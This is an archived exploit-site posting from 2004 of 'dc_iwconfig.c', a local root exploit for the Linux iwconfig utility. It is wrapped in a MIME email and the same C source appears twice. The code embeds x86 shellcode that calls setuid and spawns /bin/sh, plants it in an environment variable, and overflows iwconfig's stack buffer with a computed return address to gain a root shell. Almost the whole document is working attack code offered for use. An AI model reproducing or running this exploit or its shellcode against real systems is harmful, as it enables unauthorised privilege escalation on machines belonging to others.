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dc_iwconfig.c

dc_iwconfig.c
Posted Oct 26, 2004
Authored by Diabolic Crab | Site hackerscenter.com

Local root exploit for /usr/sbin/iwconfig.

tags | exploit, local, root
SHA-256 | 10b71b48cb5e4b165f212352a02ef424f83595d0dcaf1c2619779a0133ef61f9

dc_iwconfig.c

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This is a multi-part message in MIME format.

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Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c

=20
//Diabolic Crab's Local Root Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@hackerscenter.com
//www.hackerscenter.com

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=3D
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
char buf[96];
unsigned long ret;
int i;

char *prog[]=3D{"/sbin/iwconfig",buf,NULL};
char *env[]=3D{"EGG=3D",shellcode,NULL};

ret=3D0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("use ret addr: 0x%x\n",ret);

memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);

execve(prog[0],prog,env);

}

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Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2523" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c">http://icis.=
digitalparadox.org/~dcrab/dc_iwconfig.c</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><!--StartFragment -->&nbsp;<PRE>//Diabolic Crab's Local Root =
Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@hackerscenter.com
//www.hackerscenter.com

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=3D
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
char buf[96];
unsigned long ret;
int i;

char *prog[]=3D{"/sbin/iwconfig",buf,NULL};
char *env[]=3D{"EGG=3D",shellcode,NULL};

ret=3D0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("use ret addr: 0x%x\n",ret);

memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);

execve(prog[0],prog,env);

}
</PRE></DIV></BODY></HTML>

------=_NextPart_000_0038_01C4B564.7A0288C0--
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